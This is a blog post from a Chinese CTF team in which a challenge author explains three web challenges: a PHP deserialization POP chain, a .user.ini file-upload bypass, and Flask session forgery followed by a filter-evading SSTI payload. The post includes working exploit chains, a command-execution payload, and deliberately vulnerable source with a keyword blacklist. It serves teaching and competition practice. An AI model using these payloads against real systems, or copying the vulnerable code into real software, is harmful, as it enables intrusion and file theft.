Start

除了梦想外一无所有的我们,将会和蔑视与困境做最后的斗争,这是最后一舞

N0wayBack 联合战队成立以来一直致力于信息安全技术的研究,作为联合战队活跃在各大 CTF (信息安全竞赛)赛事之中,并依靠着过硬的实力吸引了无数同样热爱安全的小伙伴。战队现有师傅20余名,特训学生10余名,包括了研、本科学生,企、事业单位员工以及网安实验室成员,内部氛围融洽,关系和谐。虽然我们可能身份各异、年龄跨岭,但在这里,我们只有一个身份,那就是热爱网安的CTFer

给MiniNK师傅出的web题,正好最近有点心得,又逢考试月,心情难免有点压抑,出题释放释放我的emo情绪。

ezpop

最近做反序列化的题真是有点多,每次都得坐会牢,新鲜的玩法暂时还没想到,就想着整点老玩法吧,字符逃逸,嗯,感觉有点简单了,配不上Mini师傅的身份,那浅浅加个原生类利用,就当做mini师傅的签到题了。首先先手撸php代码,过程有点曲折,直接放源码了:

name = '学霸';    }    public function Eval(){        if($this->name != '学渣'){            die('不是学渣不配拿flag');        } else {            echo new $this->a($this->b);        }    }    public function __call($a,$b){        $this->Eval();    }}class B{    public $en;    public $test;    public function __construct($en){        $this->en = $en;    }    public function __destruct(){        echo $this->test;    }}class C{    public $good;    public function __toString(){        $this->good->havefun();    }}if(isset($_POST['p'])){    $p = $_POST['p'];    $p = preg_replace('/学渣/i','学霸', $p);    $p = preg_replace('/heizi/i','lanqiu', $p);    echo unserialize($p);}?>

非常简单的一道反序列化,坏了,怎么长的像篮球杯,感觉有点疯魔了,算了,就这样吧,还是有差别的。链子很简单,B::__destruct() -> C::__toString() -> A::__call -> A::Eval,进入到Eval,我们就能利用原生类读取文件了。这里需注意的是学渣被替换成学霸导致无法进入Eval,我们可以利用十六进制来绕过这个替换,S下的内容会以十六进制的形式被识别。

链子exp如下:

test = $c;$b->en = 'heiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheizi";s:4:"test";O:1:"C":1:{s:4:"good";O:1:"A":3:{s:4:"name";S:6:"\e5\ad\a6\e6\b8\a3";s:1:"a";s:13:"SplFileObject";s:1:"b";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}}}';$c->good = $a;$a->a = 'SplFileObject';$a->b = 'php://filter/read=convert.base64-encode/resource=/flag';echo serialize($b);?>

不知所措

本来想出一个实战中遇见的伪静态页面注入,但实现起来有点困难,火烧眉毛了,就准备换个题型出,想了半天打算出个文件上传,但又不能过于简单,突然灵光一闪,就有了这题

#index.phpupload        
#upload.php

简单的做了个过滤,会将上传的文件名替换成时间戳+.jpg,但是这段代码逻辑存在些缺陷,如果我们上传.user.ini就会是原样上传,这里考查选手编写脚本爆破时间戳文件名的能力和意识到.user.ini的存在

import requestsimport timeurl = "http://192.168.13.83:9999/upload.php"file = open('a.php', 'r')r = requests.post(url, files={"file": file})print(str(time.time())[:10])

非常的简单,这里时间戳跟上传的居然完全一样,难度再度下降,早知道设置个sleep了

无中生有

江郎才尽了,没有一丝丝灵感。突然想到一个考点见的很少,flask seesion,大家都熟透了,大部分似乎都是找app.secret ,很少见到来爆破secret的,嗯,想想就一阵激动。这里就不得不提一个工具: flask-unsign, 这个被打包成了pip,安装直接pip install flask-unsign ,完全可以当作flask-session-manager的替代品。爆破命令:

flask-unsign --unsign --cookie="Your_session"

爆出key: root,题目流程很简单,伪造session成admin后我们就能使用ssti这个点了,ssti当然差不多拉到最高level的过滤了,老生常谈,也是考一个比较偏僻的特性

‘%c%c%c%c········’|format(99,99,99,98·······)

很明显,format(99)后的字符填充到%c处,这样可以绕过大部分对于关键字的过滤了。过滤了. 用attr来拼接,究极payload就是:

{%print%09config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}

利用的类很多,并不局限于我这一种。这里是题目源码,写的很草率,师傅们轻喷:

#app.pyfrom flask import Flask, request, render_template, session, render_template_stringapp = Flask(__name__)app.secret_key = "root"@app.route('/')def index():    session['username'] = 'guest'    return render_template_string('')@app.route('/hello', methods=['GET'])def hello():    name = request.args.get('name')    black_list = ['\"', '__', ' ', '.', 'chr', '[', '{{', '}}', ']', 'os', 'popen', 'class', 'subclass', '\\x', 'import', 'lipsum', 'globals', 'init']    if name:        for i in black_list:            if i in name:                return render_template_string('alert("hacker!!!")')        if session.get('username') == 'admin':            context = render_template('templates.html')            context = context.format(name)            return render_template_string(context)        else:            return "只有admin才有资格使用这个功能哦"    else:        return render_template_string('

Hello 旅行者

')if __name__ == '__main__': app.run(host="0.0.0.0")
        HELLOHello {}
#Dockerfile# 基于的基础镜像,这里使用python,开发版本是 3.9.2 ,基础镜像也写3.9.2FROM python:3.9.2# /app 是要部署到服务器上的路径WORKDIR /app# Docker 避免每次更新代码后都重新安装依赖,先将依赖文件拷贝到项目中COPY requirements.txt requirements.txt# 执行指令,安装依赖RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple# COPY指令和ADD指令功能和使用方式类似。只是COPY指令不会做自动解压工作。# 拷贝项目文件和代码COPY . .# 执行指令,字符串间是以空格间隔CMD ["gunicorn", "app:app", "-c", "./gunicorn.conf.py"]

requirements.txt

gunicorngeventflask
#gunicorn.conf.pyworkers = 5    # 定义同时开启的处理请求的进程数量,根据网站流量适当调整worker_class = "gevent"   # 采用gevent库,支持异步处理请求,提高吞吐量bind = "0.0.0.0:80" #设置端口80,这里注意要设置成0.0.0.0,如果设置为127.0.0.1的话就只能本地访问服务了

End

祝师傅们玩的开心

We are still on the way, welcome to join us! 💪💪💪